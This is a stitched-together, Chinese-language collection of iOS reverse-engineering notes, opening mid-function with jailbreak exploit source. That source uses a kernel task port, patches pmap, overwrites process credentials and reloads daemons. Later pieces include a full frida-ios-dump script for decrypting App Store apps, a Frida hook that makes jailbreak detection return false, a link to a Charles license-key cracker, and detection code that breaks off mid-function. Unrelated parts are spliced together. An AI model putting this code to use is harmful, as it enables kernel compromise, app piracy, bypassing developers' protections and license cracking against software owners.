	NSMutableDictionary *md = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"];
	
	[md setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"];
	
	[md writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES];
	
	progress_ui("restarting cfprefsd");
	run_cmd("/usr/bin/killall -9 cfprefsd &");
	
#if !FIRST_TIME_OVERRIDE
	if (need_uicache) {
#endif
		progress_ui("running uicache");
		run_cmd("su -c uicache mobile &");
#if !FIRST_TIME_OVERRIDE
	}
#endif
	
	progress_ui("loading launch daemons");
	run_cmd("/bin/launchctl load /Library/LaunchDaemons/*");
	run_cmd("/etc/rc.d/*");
	
	progress_ui("respringing");
	run_cmd("(killall -9 backboardd) &");
	
	if (!global_untethered) {
#if DO_CSBYPASS
		csbypass_wrapper();
#endif
	}
	
	return ret;
}

#define DUMP_LENGTH (32 * 1024 * 1024)

bool jailbreak(void) {
#if DUMP_KERNEL
	NSString *ns_doc_dir	= NULL;
#endif
	
	uint32_t before		 = -1;
	uint32_t after		  = -1;
	
#if DUMP_KERNEL
	NSArray *paths		  = NULL;
#endif
	
#if DUMP_KERNEL
	char* open_this		 = NULL;
	char* doc_dir		   = NULL;
	char* dump			  = NULL;
#endif
	
	bool ret				= false;
	
	progress_ui("exploiting kernel");
	
	tfp0 = get_kernel_task();
	
	lprintf("I live in a constant state of fear and misery");
	lprintf("Do you miss me anymore?");
	lprintf("And I don't even notice when it hurts anymore");
	lprintf("Anymore, anymore, anymore");
	
	progress_ui("exploited kernel");
	
	kernel_base = kbase();
	kaslr_slide = kernel_base - UNSLID_BASE;
	
#if DUMP_KERNEL
	dump = malloc(DUMP_LENGTH);
	
	dump_kernel(dump, DUMP_LENGTH);
	
	paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
												NSUserDomainMask,
												YES);
	ns_doc_dir = [paths firstObject];
	doc_dir = (char*)[ns_doc_dir UTF8String];
	asprintf(&open_this,
			 "%s/kernel_dump-%ld-0x%08x.bin",
			 doc_dir,
			 time(NULL),
			 kaslr_slide);
	
	FILE *f = fopen(open_this, "w");
	fwrite(dump,
		   1,
		   (32 * 1024 * 1024),
		   f);
	fclose(f);
	
	zfree(&dump);
	
	goto done;
#endif
	
#if ENABLE_DEBUG
	progress("got tfp0! tfp0=0x%x, kernel_base=0x%08x, kaslr_slide=0x%08x",
			 tfp0,
			 kernel_base,
			 kaslr_slide);
#endif
	
	progress_ui("patching pmap");
	patch_kernel_pmap();
	progress("patched pmap");
	
	progress_ui("checking pmap patch");
	
	before	= kread_uint32(kernel_base);
	kwrite_uint32(kernel_base, 0x41424344);
	after	= kread_uint32(kernel_base);
	kwrite_uint32(kernel_base, before);
	
#if ENABLE_DEBUG
	progress("kbase before: 0x%x, kbase after: 0x%x",
			 before,
			 after);
#endif
	
	/*
	 *  i commented out "before == 0xfeedface" as at times,
	 *  i will test kernel patches and/or other functionality
	 *  on an already jailbroken device, and don't feel like rebooting.
	 *  also so that you can re-install the untether without rebooting
	 *  after installing the application :P
	 */
	
	if (before != after && /* before == 0xfeedface && */ after == 0x41424344) {
		progress_ui("pmap patched!");
	} else {
		progress_ui("pmap patch failed");
		goto done;
	}
	
	progress_ui("cleaning up the kernel");
	exploit_cleanup(tfp0);
	
	progress_ui("patching kernel");
	if (!patch_kernel())
		goto done;
	progress_ui("patched kernel");
	
	progress_ui("doing post jailbreak work");
	post_jailbreak();
	
	/*
	 *  note: todo: save original uid in case unsandboxed root daemon
	 */
	
	kwrite_uint32(myproc + 0xa4, ourcred);
	setuid(501);
	
#if BTSERVER_USED
	if (global_untethered)
		run_cmd("launchctl bsexec .. /bin/sh -c \"(while true; do /usr/sbin/BTServer_; done) &\"");
#endif
	
#if UNPATCH_PMAP
	progress("unpatching pmap");
	pmap_unpatch();
	progress("unpatched pmap");
#endif
	
	ret = true;
	
	zfree(&offsets);
	
	syslog(LOG_SYSLOG, "we out here");
	
done:
	progress_ui("cleaning up");
	exploit_cleanup(tfp0);
	
	return ret;
}

bool _jailbreak(void) {
	return jailbreak();
}

奥德赛Odyssey iOS13.5.1-13.7越狱工具

https://theodyssey.dev/

iOS 性能优化梳理:

基本工具、业务优化、内存优化、卡顿优化、布局优化、电量优化、 安装包瘦身、启动优化、网络优化等

iOS 官方文档

iOS 性能优化相关书籍

Instruments 工具相关

GMTC-2018 PPT

综合篇

内存优化

卡顿优化

布局优化

TODO:

电量优化

启动优化

体积优化

网络优化

编译优化

APM

调试 & Crash

相关开源库

网络
内存
卡顿
瘦身

APM

-----------------------------------

关于4个 0day iOS 漏洞

Denis Tokarev 发表文章公开披露 4 个 0-day iOS 漏洞,

吐槽苹果没有署名感谢,最关键是苹果没有给赏金!

作者怒了, 一口气开源4个漏洞 https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day

以下是作者披露文章:

文章: Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program / Хабр https://habr.com/ru/post/579714/

-----------------------------------

二、事件始末

从 Twitter 可知 illusionofchaos 为化名的研究人员真名是 Denis Tokarev(丹尼斯·托卡列夫),

目前关于 Denis Tokarev 个人资料并不多,通过其使用俄语的网页披露漏洞,猜测他是俄罗斯人。

作者称在今年 3 月 10 日 ~ 5 月 4 日之间给苹果报告了 4 个 0-day 漏洞,

只在 iOS 14.7 修复了一个,但苹果在iOS 14.7 安全性内容

更新页面并没有披露出来!当作者向苹果(Apple Product Security)提出质疑时,他们承诺在下一次系统版本更新的页面中列出,

但此后的三次版本发布都没有列出。所以作者怒了!决定披露出来!

0-day 漏洞

0day,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。

-----------------------------------

iOS平台付费软件篇 (iOS)

评分名称功能简述单价测评
★★★★[Camera+]替代原生拍照软件$1.99#
★★★★[1Password]密码管理&同步$17.99#
★★★★[Tweetbot]Twitter 客户端$2.99#
★★★★[Weico Pro]新浪微博第三方客户端¥6#
★★★★[iTranslate Voice]翻译利器$4.99#
★★★★[Launch Center Pro]快速启动&书签$4.99#
★★★★[Clear+]轻量级 To-Do List$4.99#
★★★★[Drafts 4]文字生产力$9.99#
★★★★[MoneyWiz 2]记账软件$4.99#
★★★☆[Todo]重量级 To-Do GTD$4.99#
★★★☆[Reeder]RSS阅读器$4.99#
★★★☆[Omnifocus]还是那个GTD$19.99#
★★★☆[Fantastical]日历和提醒工具$3.99#
★★★☆[GoodReader]文档管理、阅读工具$4.99#
★★★[Sleep Cycle]智能闹钟$1.99#
★★★[Afterlight]照片处理软件$0.99#
★★★[Moves]健康计步类$2.99#
★★★[TextExpander]快速输入/扩展增强工具$4.99#
★★★[Pastebot]云剪切板$3.99#
★★★[Byword]Markdown写作$4.99#
★★★[Day One]日记软件$4.99#
★★★[Solar Walk]太阳系模型$2.99#
★★★[OmniGraffle]制图制表$49.99#
★★★[随手记专业版]记账软件¥6#
★★★[DailyCost]记账软件$1.99#
★★★[Splashtop]用iOS远程控制计算机$9.99#
★★★[Things]还是GTD$9.99#
★★★[Runtastic Pro]跑步健康类$4.99#
★★★[Wolfram]计算和知识库$2.99#
★★★[Solar]精美天气应用$0.99#
★★★[Writer Pro]个人写作软件$19.99#
★★★[Editorial]MarkDown书写软件$6.99#
★★★[Notability]日记软件$2.99#
★★★[Gneo]GTD:To-do类$9.99#
★★★[Mextures]照片效果处理软件$1.99#
★★★[Vesper]收集想法笔记$4.99#
★★★[TeeVee]追美剧、TV Show等$1.99#
★★★[Air Display]用iOS设备做为扩展屏$9.99#
★★★[Instaframe Pro]多图合一,拼合工具$1.99#
★★★[OmmWriter]静心写作$4.99#
★★★[Prompt]SSH远程Host管理客户端$7.99#
★★★[iA Writer]写作工具$4.99#
★★★[StockWatch]股票行情查看$5.99#
★★★[Money Monitor]金融理财记账工具$1.99#
★★★[Living Earth Clock]全球时间工具$2.99#
★★★[Sync for Firefox]如果你是火狐用户$0.99#
★★★[Screens VNC]远程桌面工具VNC$19.99#
★★★[Mobile Mouse]用手机做为鼠标或触控板$1.99#
★★★[Live Cams Pro]使用查看全球数以千计的公共摄像头$3.99#
★★★[FileBrowser]查看远程电脑的文件$4.99#
★★★[TextGrabber]OCR图片文字识别(图转字)工具$5.99#
★★★[欧路词典 Pro]翻译软件,支持离线词库,屏幕取词¥18#
★★★[Mercury Browser Pro]浏览器$0.99#
★★★[Air Video]移动端播放电脑上的视频流,无需拷贝$2.99#
★★★MacID手机解锁 Mac, iOS 和 macOS 间剪贴板,itunes 简单控制$3.99#

-----------------------------------

iOS群控实现 - WebDriverAgent

iPhone群控测试开发教程

WebDriverAgent是用于iOS的WebDriver服务器实现,
可用于远程控制iOS设备。它允许您启动和终止应用程序,
点击并滚动视图或确认屏幕上是否存在视图。
这使其成为用于应用程序端到端测试或通用设备自动化的理想工具。

它通过链接XCTest.framework和调用Apple的API
来直接在设备上执行命令来工作。
WebDriverAgent是Facebook开发和用于端到端测试的


安装 homebrew
homebrew 是 Mac OS 下最优秀的包管理工具,没有之一。
xcode-select --install ruby -e "$(curl -fsSLhttps://raw.githubusercontent.com/Homebrew/install/master/install)"

安装 python
脚本语言 python 用来编写模拟的用户操作。
brew install python3

安装 libimobiledevice
libimobiledevice 是一个使用原生协议与苹果iOS设备进行通信的库。
通过这个库我们的 Mac OS 能够轻松获得 iOS 设备的信息。
brew install --HEAD libimobiledevice


查看 iOS 设备日志


idevicesyslog
查看链接设备的UDID


idevice_id --list
查看设备信息


ideviceinfo
获取设备时间


idevicedate
获取设备名称


idevicename
端口转发


iproxy XXXX YYYY
屏幕截图
idevicescreenshot

安装 Carthage

Carthage 是一款iOS项目依赖管理工具,与 Cocoapods 有着相似的功能,可以帮助你方便的管理三方依赖。它会把三方依赖编译成 framework,以 framework 的形式将三方依赖加入到项目中进行使用和管理。

WebDriverAgent 本身使用了 Carthage 管理项目依赖,因此需要提前安装 Carthage。

brew install carthage

安装 WebDriverAgent

WebDriverAgent 是 Facebook 推出的一款 iOS 移动测试框架,能够支持模拟器以及真机。

WebDriverAgent 在 iOS 端实现了一个 WebDriver server ,借助这个 server 我们可以远程控制 iOS 设备。你可以启动、杀死应用,点击、滚动视图,或者确定页面展示是否正确。

从 github 克隆 WebDriverAgent 的源码。

git clone https://github.com/facebook/WebDriverAgent.git

运行初始化脚本,确保之前已经安装过 Carthage。

iPhone群控测试开发教程
https://mp.weixin.qq.com/s?__biz=MjM5MjUxODExMQ==&mid=2652393753&idx=1&sn=1edb1a7db6b4225dbd4b6b4df8af96f7&chksm=bd49eba98a3e62bf45ec72d14dd0640268bef05efb4489edd3c0c4803049e50f369fa98c4711&mpshare=1&scene=22&srcid=11160hQ6GGnxFSQxIxb5Yf2N&sharer_sharetime=1637022101829&sharer_shareid=7a5b79e2ee76a21460e7fe67bd1a6b50#rd

自定义创建.dylib文件

1.创建新工程 , 选择OS X ->Framework&Library-> Library

2.TARGETS ->Build Settings -> Installation Directory 修改成@executable_path/

3.TARGETS -> Build Settings -> Base SDK 改成Latest iOS或者iOS X.X

4.PROJECT->Info->iOS Deployment Target 选择版本支持

5.Project->Build Settings ->Base SDK 改成Latest iOS或者iOS X.X6.选择证书

7.选择设备, 运行

越狱iOS系统内存限制修改

在 iOS 中重要的监控网络进程内存使用量和停止溢出限制的边缘配置在它的配置 Jetsam 中有相关的内存做限制的, 它的一般文件在/System/Library/LaunchDaemons/com.apple.jetsamproperties.{Model}.plist, 模型在各个手机上可能里面对 VPN 进程做限制的条目是:

			<key>com.apple.networkextension.packet-tunnel</key>
			<dict>
				<key>ActiveHardMemoryLimit</key>
				<integer>15</integer>
				<key>InactiveHardMemoryLimit</key>
				<integer>15</integer>
				<key>JetsamPriority</key>
				<integer>14</integer>
			</dict>

打开文件后搜索packet-tunnel找到,其中有两个15就是 iOS 对 VPN 进程的内存限制值 15MB。

要修改iOS VPN进程的内存限制,我们很容易复制iFile等文件管理工具找到这些配置文件,到电脑上然后对相关数值进行修改,修改后覆盖原始文件,恢复一下手机智能。

打开要这些plist文件需要一些特殊的编辑器;如果你用的是macOS,且安装有Xcode中,那就可以直接双击打开,

要修改的很明显,就是要把内容改大就行,比如把原来的15MB的限制改为30MB的限制:

			<key>com.apple.networkextension.packet-tunnel</key>
			<dict>
				<key>ActiveHardMemoryLimit</key>
				<integer>30</integer>
				<key>InactiveHardMemoryLimit</key>
				<integer>30</integer>
				<key>JetsamPriority</key>
				<integer>14</integer>
			</dict>

Charles 抓包工具

Charles激活码: https://www.zzzmode.com/mytools/charles/

安装使用最新版,官方下载地址 https://www.charlesproxy.com/download
此工具用于计算Charles激活码,下载代码 ,在线运行代码:https://play.golang.org/p/Qtt2CmHbTzU
blog介绍: https://blog.zzzmode.com/2017/05/16/charles-4.0.2-cracked
输入RegisterName(此名称随意,用于显示 Registered to xxx),点击生成计算出注册码,打开Charles输入注册码即可。

dyld 苹果操作系统的动态链接器

dyld和操作系统的关系准确来说,操作系统通过映射的方式将它加载到进程的地址空间中。

操作系统加载完dyld后,就把控制权交给dyld。当dyld得到控制权后,其自身开始一系列的初始化操作,然后后根据设置的环境变量,
对可执行文件进行链接工作,这个链接步骤称为动态链接(dynamic link)。
当所有链接工作完成后,dyld会把控制权交给可执行文件的入口,程序开始执行。
那可执行文件又是什么,既然有动态链接,是否也有静态链接?是的,静态链接就是生成可执行文件的一个重要步骤。

2.2 可执行文件
可执行文件是程序的源代码文件经过预编译、编译、汇编生成的目标文件,进一步通过链接合并成可供系统执行的文件,
也就是mach.o文件。可执行文件需要被装载进内存,才能被系统读取。

这是mach.o文件结构的官方图。其主要分为三个部分:

Header(头部信息),说明整个Mach.o文件的基本信息
Load Commands(加载命令),说明系统应该怎么加载文件中的数据
Data(文件数据),包含符号表,代码签名,程序代码等数据。

可执行文件查看步骤:
在项目Products文件夹下的.app结尾的文件 Show In Finder,然后显示包内容
但是想要可视化可执行文件,还需要借助第三方软件MachOView。
可执行文件生成的步骤如果展开来,不是三言两语能讲清楚的,这里只做个简单的介绍:
预编译:**预编译的过程就是处理源代码文件中以"#"开头的预编译指令,将其展开。
**
编译:编译的过程就是把预编译后文件进一步做词法分析,语法分析,生成抽象语法树,经过语义分析后转换成中间代码,优化后生成汇编代码文件。
汇编:汇编的过程就是把汇编代码转变成机器可以执行的指令。
链接:链接的过程就是把各个源代码模块相互引用的部分进行处理,让它们之间可以正确链接。这里的链接即为静态链接。
装载:** 装载的过程就是把程序执行所需要的指令和数据都装入内存中**

静态链接是编译时的链接工作,动态链接是运行时的链接工作,虽然它们做的事很相似,但是不可混为一谈。

dyld2:在iOS13之前使用的版本
dyld3:在iOS13及之后使用的版本,iOS11之前的系统库优化已经使用

dyld2在启动时做了大量的计算和查找操作,系统为了优化启动时间,设计了dyld3,dyld3的接口和dyld2是兼容的,因此开发者没有任何感知。
dyld3的特点是进程外的且有缓存的,启动app前把很多耗时操作提前处理好了。据统计,在冷启动时,dyld3比dyld2快20%。
但是由于dyld3是未开源的,因此本文是基于dyld2展开流程分析的,这些工作流程在dyld3也是存在的,可能只是时机会有所不同。

ASLR(Address space layout randomization):地址空间布局随机化,虚拟地址在内存中会发生的偏移量。增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
PIC(Position Independent Code):程序中共享指令部分在装载时不需要因为装载地址的改变而改变,实现共享。
页错误(Page Fault):在当前页中找不到所需指令。操作系统需要计算相应页面在可执行文件中的偏移,在物理内存中分配物理页面,在虚拟页和物理页建立映射关系。程序才能从发生页面错误的位置重新执行。
延迟绑定(Lazy Binding):函数第一次被使用时才进行绑定(符号查找,重定位等)。

Clang编译器

Clang是LLVM项目中的一个子项目。它是基于LLVM架构的轻量级编译器,诞生之初是为了替代GCC,
提供更快的编译速度。它是负责编译C、C++、Objecte C语言的编译器,它属于整个LLVM架构中的编译器前端。

iOS系统响应事件机制

1.手指触碰屏幕,屏幕感应到触碰后,将事件交由IOKit处理。

2.IOKit将触摸事件封装成一个IOHIDEvent对象,并通过mach port传递给SpringBoad进程。
  mach port 进程端口,各进程之间通过它进行通信。
  SpringBoad.app 是一个系统进程,可以理解为桌面系统,可以统一管理和分发系统接收到的触摸事件。

3. SpringBoard进程因接收到触摸事件,触发了主线程runloop的source1事件源的回调。

此时SpringBoard会根据当前桌面的状态,判断应该由谁处理此次触摸事件。
因为事件发生时,你可能正在桌面上翻页,也可能正在刷微博。
若是前者(即前台无APP运行),
则触发SpringBoard本身主线程runloop的source0事件源的回调,
将事件交由桌面系统去消耗;若是后者(即有app正在前台运行),
则将触摸事件通过IPC传递给前台APP进程

iOS动态库注入方式

dylib注入也有三种方式:

1.越狱环境下, 将动态库上传到DynamicLibraries目录下

2.越狱环境下, 使用dyld中的DYLD_INSERT_LIBRARIES环境变量

3.免越狱环境下, 使用optool或者yololib工具给macho新增Load command

class-dump类对关键属性名和方法名做混淆处理 怎么办?

iOS逆向静态分析工具大概查看它的实现逻辑

静态分析工具是能够将macho文件的机器语言代码反编译成汇编代码、OC伪代码或者Swift伪代码,同时可以快速查看关键字符串信息。
这就很强大了,意味着可以通过查看方法的执行流程,判断条件等信息明白它在做什么,如果本地字符串未做混淆,
也可以直接被获取到(比如有些app秘钥明文存储本地,这就危险了)。

iOS平台主要使用的静态分析工具有Hopper和IDA。
IDA更强大,它能够翻译成的伪代码更接近于高级语言,但是它的收费也是昂贵的。
Hopper虽然不如IDA强大,但也是够用的了,所以我个人使用的是Hopper。
把Mach-O文件直接拖入Hopper,尝试搜索你感兴趣或者头文件中存在的字符,会得到如下界面

iOS逆向动态调试工具

动态调试就是将程序运行起来,通过打断点(LLDB需要)、打印等方式,查看参数、返回值、函数调用流程等信息,
通过输出界面信息迅速定位目标代码,还可以动态的修改内存和寄存器中的参数,达到绕过检测,更改执行流程等目的。
动态调试主要有LLDB和CyCript两种工具,两种都很好强大,也各有各的好,建议两种方式都需要学习。

神器FLEX界面调试UI

iOS 图形渲染

UIKit:通过UIKit提供的街交口进行布局和绘制界面,UIKit本身不具备显示能力,是通过底层的layer实现的。


CoreAnimation:本质上是一个复合引擎,主要职责在于渲染,构建和动画。CAlayer属于CoreAnimation,是界面可视化的承载。


CoreGraphics:基于Quartz的高级绘图引擎,提供了轻量级的2d渲染能力,主要是用于运行时绘图的。CG开头的类都属于CoreGraphics。


CoreImage:一个高性能的图像处理分析的框架,运行前绘制图形,主要提供图形的滤镜功能。


OpenGL ES:针对嵌入式设备,是OpenGL的子集。直接操作硬件服务,是跨平台的。


Metal:苹果自研的针对自家设备的图形渲染标准,在苹果设备上性能最优。

浅谈iOS ipa砸壳知识

App Store上下载的包
苹果会对Mach-O里面__TETX段里面的内容进行加密,如果不解密无法做后续操作。

所以砸壳dump ipa技术就应运而生
砸壳分为静态砸壳和动态砸壳

动态砸壳的原理主要是
虽然Mach-O中的__TEXT段被苹果加密了,
但是系统如果要运行程序,肯定需要对内容进行解密。
所以就不去主动的砸掉原有的加密壳,而是当应用程序打开运行后,壳被系统自动解密后,
在内存中把解密后的数据二进制文件提取出来,也就达到了砸壳的目的。
(手机端插件CrackerXI砸壳, frida-ios-dump电脑砸壳)
iOS利用CrackerXI(脱壳): https://www.jianshu.com/p/97a97ff81384

iOS AutoreleasePool原理

自动释放池本质是一个AutoreleasePoolPage结构体对象,栈结构存储,每一个AutoreleasePoolPage以双向链表形式连接
自动释放的压栈和出栈本质上是调用AutoreleasePoolPage的push和pop方法
push 压栈
判断hotPage是否存在
不存在,autoreleaseNoPage创建新hotPage,调用add方法将对象添加至page栈中
存在满了,autoreleaseFullPage初始新的page
存在没满,调用add方法将对象添加到page的next指针,next指针++
pop 出栈
执行pop出栈时,会传入push操作的返回值,即POOL_BOUNDARY的内存地址token,根据token找到哨兵对象所在,并释放之前的对象,next指针--

响应式编程

也叫做声明式编程,这是现在前端开发的主流,当然对于客户端开发的一种趋势,比如SwiftUI 。

响应式简单来说其实就是你不需要手动更新界面,只需要把界面通过代码“声明”好,然后把数据和界面的关系接好,数据更新了界面自然就更新了。
从代码层面看,对于原生开发而言,没有 xml 的布局,没有 storyboard,布局完全由代码完成,所见即所得,
同时也不会需要操作界面“对象”去进行赋值和更新,你所需要做的就是配置数据和界面的关系。

响应式开发比数据绑定或者 MVVM 不同的地方是,它每次都是重新构建和调整整个渲染树,而不是简单的对 UI 进行 visibility 操作。

python3-frida-ios-hook-jailbreak

#!/usr/bin/env python3

import sys
import codecs
import frida
import threading
import os
import shutil
import time
import argparse
import tempfile
import subprocess
import re

import paramiko
from paramiko import SSHClient
from scp import SCPClient
from tqdm import tqdm
import traceback
from log import *

script_dir = os.path.dirname(os.path.realpath(__file__))

DUMP_JS = os.path.join(script_dir, '../../methods/dump.js')

User = 'root'
Password = 'alpine'
Host = 'localhost'
Port = 2222

TEMP_DIR = tempfile.gettempdir()
PAYLOAD_DIR = 'Payload'
PAYLOAD_PATH = os.path.join(TEMP_DIR, PAYLOAD_DIR)
file_dict = {}

finished = threading.Event()


def get_usb_iphone():
    Type = 'usb'
    if int(frida.__version__.split('.')[0]) < 12:
        Type = 'tether'
    device_manager = frida.get_device_manager()
    changed = threading.Event()

    def on_changed():
        changed.set()

    device_manager.on('changed', on_changed)

    device = None
    while device is None:
        devices = [dev for dev in device_manager.enumerate_devices() if dev.type == Type]
        if len(devices) == 0:
            print('Waiting for USB device...')
            changed.wait()
        else:
            device = devices[0]

    device_manager.off('changed', on_changed)

    return device


def generate_ipa(path, display_name):
    ipa_filename = display_name + '.ipa'

    logger.info('Generating "{}"'.format(ipa_filename))
    try:
        app_name = file_dict['app']

        for key, value in file_dict.items():
            from_dir = os.path.join(path, key)
            to_dir = os.path.join(path, app_name, value)
            if key != 'app':
                shutil.move(from_dir, to_dir)

        target_dir = './' + PAYLOAD_DIR
        zip_args = ('zip', '-qr', os.path.join(os.getcwd(), ipa_filename), target_dir)
        subprocess.check_call(zip_args, cwd=TEMP_DIR)
        shutil.rmtree(PAYLOAD_PATH)
    except Exception as e:
        print(e)
        finished.set()

def on_message(message, data):
    t = tqdm(unit='B',unit_scale=True,unit_divisor=1024,miniters=1)
    last_sent = [0]

    def progress(filename, size, sent):
        t.desc = os.path.basename(filename).decode("utf-8")
        t.total = size
        t.update(sent - last_sent[0])
        last_sent[0] = 0 if size == sent else sent

    if 'payload' in message:
        payload = message['payload']
        if 'dump' in payload:
            origin_path = payload['path']
            dump_path = payload['dump']

            scp_from = dump_path
            scp_to = PAYLOAD_PATH + '/'

            with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp:
                scp.get(scp_from, scp_to)

            chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(dump_path))
            chmod_args = ('chmod', '655', chmod_dir)
            try:
                subprocess.check_call(chmod_args)
            except subprocess.CalledProcessError as err:
                print(err)

            index = origin_path.find('.app/')
            file_dict[os.path.basename(dump_path)] = origin_path[index + 5:]

        if 'app' in payload:
            app_path = payload['app']

            scp_from = app_path
            scp_to = PAYLOAD_PATH + '/'
            with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp:
                scp.get(scp_from, scp_to, recursive=True)

            chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(app_path))
            chmod_args = ('chmod', '755', chmod_dir)
            try:
                subprocess.check_call(chmod_args)
            except subprocess.CalledProcessError as err:
                print(err)

            file_dict['app'] = os.path.basename(app_path)

        if 'done' in payload:
            finished.set()
    t.close()

def compare_applications(a, b):
    a_is_running = a.pid != 0
    b_is_running = b.pid != 0
    if a_is_running == b_is_running:
        if a.name > b.name:
            return 1
        elif a.name < b.name:
            return -1
        else:
            return 0
    elif a_is_running:
        return -1
    else:
        return 1


def get_applications(device):
    try:
        applications = device.enumerate_applications()
    except Exception as e:
        sys.exit('Failed to enumerate applications: %s' % e)

    return applications


def load_js_file(session, filename):
    source = ''
    with codecs.open(filename, 'r', 'utf-8') as f:
        source = source + f.read()
    script = session.create_script(source)
    script.on('message', on_message)
    script.load()

    return script


def create_dir(path):
    path = path.strip()
    path = path.rstrip('\\')
    if os.path.exists(path):
        shutil.rmtree(path)
    try:
        os.makedirs(path)
    except os.error as err:
        print(err)


def open_target_app(device, name_or_bundleid):
    logger.info('Start the target app {}'.format(name_or_bundleid))

    pid = ''
    session = None
    display_name = ''
    bundle_identifier = ''
    for application in get_applications(device):
        if name_or_bundleid == application.identifier or name_or_bundleid == application.name:
            pid = application.pid
            display_name = application.name
            bundle_identifier = application.identifier

    try:
        if not pid:
            pid = device.spawn([bundle_identifier])
            session = device.attach(pid)
            device.resume(pid)
        else:
            session = device.attach(pid)
    except Exception as e:
        print(e) 

    return session, display_name, bundle_identifier


def start_dump(session, ipa_name):
    logger.info('Dumping {} to {}'.format(display_name, TEMP_DIR))

    script = load_js_file(session, DUMP_JS)
    script.post('dump')
    finished.wait()

    generate_ipa(PAYLOAD_PATH, ipa_name)

    if session:
        session.detach()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='frida-ios-dump (by AloneMonkey v2.0)')
    parser.add_argument('-l', '--list', dest='list_applications', action='store_true', help='List the installed apps')
    parser.add_argument('-o', '--output', dest='output_ipa', help='Specify name of the decrypted IPA')
    parser.add_argument('target', nargs='?', help='Bundle identifier or display name of the target app')
    args = parser.parse_args()

    exit_code = 0
    ssh = None

    if not len(sys.argv[1:]):
        parser.print_help()
        sys.exit(exit_code)

    device = get_usb_iphone()

    if args.list_applications:
        list_applications(device)
    else:
        name_or_bundleid = args.target
        output_ipa = args.output_ipa

        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(Host, port=Port, username=User, password=Password)

            create_dir(PAYLOAD_PATH)
            (session, display_name, bundle_identifier) = open_target_app(device, name_or_bundleid)
            if output_ipa is None:
                output_ipa = display_name
            output_ipa = re.sub('\.ipa$', '', output_ipa)
            if session:
                start_dump(session, output_ipa)
        except paramiko.ssh_exception.NoValidConnectionsError as e:
            print(e) 
            exit_code = 1
        except paramiko.AuthenticationException as e:
            print(e) 
            exit_code = 1
        except Exception as e:
            print('*** Caught exception: %s: %s' % (e.__class__, e))
            traceback.print_exc()
            exit_code = 1

    if ssh:
        ssh.close()

    if os.path.exists(PAYLOAD_PATH):
        shutil.rmtree(PAYLOAD_PATH)

    sys.exit(exit_code)

屏蔽越狱检测脚本

function bypassJailbreakDetection() {
	try {
		var className = "JailbreakDetection";
        var funcName = "+ isJail";
        var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
        Interceptor.attach(hook.implementation, {
          onLeave: function(retval) {
            console.log("[*] Class Name: " + className);
            console.log("[*] Method Name: " + funcName);
            console.log("\t[-] Type of return value: " + typeof retval);
            console.log("\t[-] Original Return Value: " + retval);
            retval.replace(0x0);
            console.log("\t[-] Type of return value: " + typeof retval);
            console.log("\t[-] Return Value: " + retval);
          }
        });
        
	} catch(err) {
		console.log("[-] Error: " + err.message);
	}
}

if (ObjC.available) {
	bypassJailbreakDetection();
} else {
 	send("error: Objective-C Runtime is not available!");
}

反iOS越狱检测

#import <UIKit/UIKit.h>
#import <sys/stat.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <TargetConditionals.h>
#import <objc/runtime.h>
#import <objc/message.h>
#include <stdio.h>
#import <dlfcn.h>
#import <sys/types.h>

static char *JbPaths[] = {"/Applications/Cydia.app",
    "/usr/sbin/sshd",
    "/bin/bash",
    "/etc/apt",
    "/Library/MobileSubstrate",
    "/User/Applications/"};

static NSSet *sDylibSet ; // 需要检测的动态库
static BOOL SCHECK_USER = NO; /// 检测是否越狱

@implementation UserCust


+ (void)load {
  static dispatch_once_t onceToken;
  dispatch_once(&onceToken, ^{
    sDylibSet  = [NSSet setWithObjects:
                       @"/usr/lib/CepheiUI.framework/CepheiUI",
                       @"/usr/lib/libsubstitute.dylib",
                       @"/usr/lib/substitute-inserter.dylib",
                       @"/usr/lib/substitute-loader.dylib",
                       @"/usr/lib/substrate/SubstrateLoader.dylib",
                       @"/usr/lib/substrate/SubstrateInserter.dylib",
                       @"/Library/MobileSubstrate/MobileSubstrate.dylib",
                       @"/Library/MobileSubstrate/DynamicLibraries/0Shadow.dylib",
                  
                  nil];
    _dyld_register_func_for_add_image(_check_image);
  });
}

+ (instancetype)sharedInstance {
    
    static id sharedInstance = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        sharedInstance = [self new];
    });
    return sharedInstance;
}

// 监听image加载,从这里判断动态库是否加载,因为其他的检测动态库的方案会被hook
static void _check_image(const struct mach_header *header,
                                      intptr_t slide) {
  // hook Image load
  if (SCHECK_USER) {
    // 检测后就不在检测
    return;
  }

  // 检测的lib
  Dl_info info;
  // 0表示加载失败了,这里大概率是被hook导致的
  if (dladdr(header, &info) == 0) {
    char *dlerro = dlerror();
    // 获取失败了 但是返回了dli_fname, 说明被人hook了,目前看的方案都是直接返回0来绕过的
    if(dlerro == NULL && info.dli_fname != NULL) {
      NSString *libName = [NSString stringWithUTF8String:info.dli_fname];
      // 判断有没有在动态列表里面
      if ([sDylibSet containsObject:libName]) {
        SCHECK_USER = YES;
      }
    }
    return;
  }
}


// 越狱检测
- (BOOL)UVItinitse {
  
    if (SCHECK_USER) {
      return YES;
    }

    if (isStatNotSystemLib()) {
        return YES;
    }

    if (isDebugged()) {
        return YES;
    }

    if (isInjectedWithDynamicLibrary()) {
        return YES;
    }

    if (JCheckKuyt()) {
        return YES;
    }

    if (dyldEnvironmentVariables()) {
        return YES;
    }

    return NO;
}

CFRunLoopSourceRef gSocketSource;
BOOL fileExist(NSString* path)
{
    NSFileManager *fileManager = [NSFileManager defaultManager];
    BOOL isDirectory = NO;
